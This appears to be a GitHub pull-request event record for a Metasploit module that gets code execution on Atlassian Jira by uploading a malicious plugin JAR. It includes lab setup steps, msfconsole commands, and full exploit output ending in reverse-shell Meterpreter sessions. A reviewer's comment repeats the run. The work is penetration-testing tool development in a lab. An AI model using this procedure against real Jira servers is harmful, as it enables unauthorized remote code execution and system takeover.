{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9631","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9631/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9631/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9631/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/9631","id":300365660,"node_id":"MDExOlB1bGxSZXF1ZXN0MTcxNDY5MDkz","number":9631,"title":"Add Jira Plugin Upload Module","user":{"login":"dubfr33","id":20056018,"node_id":"MDQ6VXNlcjIwMDU2MDE4","avatar_url":"https://avatars3.githubusercontent.com/u/20056018?v=4","gravatar_id":"","url":"https://api.github.com/users/dubfr33","html_url":"https://github.com/dubfr33","followers_url":"https://api.github.com/users/dubfr33/followers","following_url":"https://api.github.com/users/dubfr33/following{/other_user}","gists_url":"https://api.github.com/users/dubfr33/gists{/gist_id}","starred_url":"https://api.github.com/users/dubfr33/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dubfr33/subscriptions","organizations_url":"https://api.github.com/users/dubfr33/orgs","repos_url":"https://api.github.com/users/dubfr33/repos","events_url":"https://api.github.com/users/dubfr33/events{/privacy}","received_events_url":"https://api.github.com/users/dubfr33/received_events","type":"User","site_admin":false},"labels":[{"id":103436215,"node_id":"MDU6TGFiZWwxMDM0MzYyMTU=","url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/docs","name":"docs","color":"941E94","default":false},{"id":103436014,"node_id":"MDU6TGFiZWwxMDM0MzYwMTQ=","url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420","default":false}],"state":"open","locked":false,"assignee":{"login":"space-r7","id":40177151,"node_id":"MDQ6VXNlcjQwMTc3MTUx","avatar_url":"https://avatars2.githubusercontent.com/u/40177151?v=4","gravatar_id":"","url":"https://api.github.com/users/space-r7","html_url":"https://github.com/space-r7","followers_url":"https://api.github.com/users/space-r7/followers","following_url":"https://api.github.com/users/space-r7/following{/other_user}","gists_url":"https://api.github.com/users/space-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/space-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/space-r7/subscriptions","organizations_url":"https://api.github.com/users/space-r7/orgs","repos_url":"https://api.github.com/users/space-r7/repos","events_url":"https://api.github.com/users/space-r7/events{/privacy}","received_events_url":"https://api.github.com/users/space-r7/received_events","type":"User","site_admin":false},"assignees":[{"login":"space-r7","id":40177151,"node_id":"MDQ6VXNlcjQwMTc3MTUx","avatar_url":"https://avatars2.githubusercontent.com/u/40177151?v=4","gravatar_id":"","url":"https://api.github.com/users/space-r7","html_url":"https://github.com/space-r7","followers_url":"https://api.github.com/users/space-r7/followers","following_url":"https://api.github.com/users/space-r7/following{/other_user}","gists_url":"https://api.github.com/users/space-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/space-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/space-r7/subscriptions","organizations_url":"https://api.github.com/users/space-r7/orgs","repos_url":"https://api.github.com/users/space-r7/repos","events_url":"https://api.github.com/users/space-r7/events{/privacy}","received_events_url":"https://api.github.com/users/space-r7/received_events","type":"User","site_admin":false}],"milestone":null,"comments":11,"created_at":"2018-02-26T19:29:43Z","updated_at":"2018-11-13T19:43:20Z","closed_at":null,"author_association":"NONE","pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9631","html_url":"https://github.com/rapid7/metasploit-framework/pull/9631","diff_url":"https://github.com/rapid7/metasploit-framework/pull/9631.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/9631.patch"},"body":"Add Jira Plugin Upload Module\r\n\r\nThe module executes a payload on Atlassian Jira via the Universal Plugin Manager(UPM). Any\r\nuser that has successfully authenticated to Jira and has access to the UPM (typically the admin account) can upload a Java servlet in the form of a JAR archive to achieve code execution. \r\n\r\n## Test Environment Setup\r\n\r\n- First, build the Atlassian SDK environment. Instructions can be found below:\r\n\r\n    - Windows:\r\n    https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/\r\n    - Linux/Mac:\r\nhttps://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/\r\n\r\n- Next, create a shell Jira plugin and launch the SDK. Instructions can be found below:\r\n    - https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/\r\n\r\nOnce these steps are completed you should be able to browse to localhost:2990/jira/ to confirm successful deployment. The default credentials are admin:admin.\r\n\r\n## Verification\r\n\r\n- [ ] Install Atlassian SDK/Jira environment\r\n- [ ] Browse to localhost:2990/jira/ to confirm successful deployment\r\n- [ ] msfconsole -q\r\n- [ ] use exploit/multi/http/jira_plugin_upload\r\n- [ ] set rhost 127.0.0.1\r\n- [ ] show options\r\n- [ ] check\r\n- [ ] exploit\r\n\r\n## Example Output\r\n```\r\nmsf > use exploit/multi/http/jira_plugin_upload\r\nmsf exploit(multi/http/jira_plugin_upload) > set rhost 127.0.0.1\r\nrhost => 127.0.0.1\r\nmsf exploit(multi/http/jira_plugin_upload) > show options\r\n\r\nModule options (exploit/multi/http/jira_plugin_upload):\r\n\r\n   Name          Current Setting  Required  Description\r\n   ----          ---------------  --------  -----------\r\n   HttpPassword  admin            yes       The password for the specified username\r\n   HttpUsername  admin            yes       The username to authenticate as\r\n   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]\r\n   RHOST         127.0.0.1        yes       The target address\r\n   RPORT         2990             yes       The target port (TCP)\r\n   SSL           false            no        Negotiate SSL/TLS for outgoing connections\r\n   TARGETURI     /jira/           yes       The base URI to Jira\r\n   VHOST                          no        HTTP server virtual host\r\n\r\n\r\nExploit target:\r\n\r\n   Id  Name\r\n   --  ----\r\n   0   Java Universal\r\n\r\n\r\nmsf exploit(multi/http/jira_plugin_upload) > check\r\n\r\n[*] Server accepted the credentials, user has access to plugin manager!\r\n[*] 127.0.0.1:2990 The target appears to be vulnerable.\r\nmsf exploit(multi/http/jira_plugin_upload) > exploit\r\n\r\n[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?\r\n[*] Started reverse TCP handler on 127.0.0.1:4444 \r\n[*] Retrieving Session ID and XSRF token...\r\n[*] Attempting to upload lNZinVWN\r\n[*] Successfully uploaded lNZinVWN\r\n[*] Executing lNZinVWN\r\n[*] Deleting lNZinVWN\r\n[*] Sending stage (53837 bytes) to 127.0.0.1\r\n[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:49040) at 2018-02-26 14:40:38 -0500\r\n\r\nmeterpreter > getuid\r\nServer username: root\r\nmeterpreter > exit\r\n[*] Shutting down Meterpreter...\r\n\r\n[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: User exit\r\n[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: Died\r\nmsf exploit(multi/http/jira_plugin_upload) > \r\n```\r\n\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/438409464","html_url":"https://github.com/rapid7/metasploit-framework/pull/9631#issuecomment-438409464","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9631","id":438409464,"node_id":"MDEyOklzc3VlQ29tbWVudDQzODQwOTQ2NA==","user":{"login":"space-r7","id":40177151,"node_id":"MDQ6VXNlcjQwMTc3MTUx","avatar_url":"https://avatars2.githubusercontent.com/u/40177151?v=4","gravatar_id":"","url":"https://api.github.com/users/space-r7","html_url":"https://github.com/space-r7","followers_url":"https://api.github.com/users/space-r7/followers","following_url":"https://api.github.com/users/space-r7/following{/other_user}","gists_url":"https://api.github.com/users/space-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/space-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/space-r7/subscriptions","organizations_url":"https://api.github.com/users/space-r7/orgs","repos_url":"https://api.github.com/users/space-r7/repos","events_url":"https://api.github.com/users/space-r7/events{/privacy}","received_events_url":"https://api.github.com/users/space-r7/received_events","type":"User","site_admin":false},"created_at":"2018-11-13T19:43:20Z","updated_at":"2018-11-13T19:43:20Z","author_association":"CONTRIBUTOR","body":"Tested on Ubuntu 18.04:\r\n\r\n```\r\n\r\nmsf5 > use exploit/multi/http/jira_plugin_upload \r\nmsf5 exploit(multi/http/jira_plugin_upload) > set rhosts 172.16.215.177\r\nrhosts => 172.16.215.177\r\nmsf5 exploit(multi/http/jira_plugin_upload) > check\r\n[*] 172.16.215.177:2990 The target appears to be vulnerable.\r\nmsf5 exploit(multi/http/jira_plugin_upload) > run\r\n\r\n[*] Started reverse TCP handler on 172.16.215.1:4444 \r\n[*] Retrieving Session ID and XSRF token...\r\n[*] Attempting to upload jWJWdPYo\r\n[*] Successfully uploaded jWJWdPYo\r\n[*] Executing jWJWdPYo\r\n[*] Deleting jWJWdPYo\r\n[*] Sending stage (53867 bytes) to 172.16.215.177\r\n[*] Meterpreter session 1 opened (172.16.215.1:4444 -> 172.16.215.177:41396) at 2018-11-13 13:38:37 -0600\r\n\r\nmeterpreter > getuid\r\nServer username: space\r\nmeterpreter > sysinfo\r\nComputer    : ubuntu\r\nOS          : Linux 4.15.0-36-generic (amd64)\r\nMeterpreter : java/linux\r\nmeterpreter > \r\n\r\n```"}}
{"actor":{"display_login":"space-r7"}}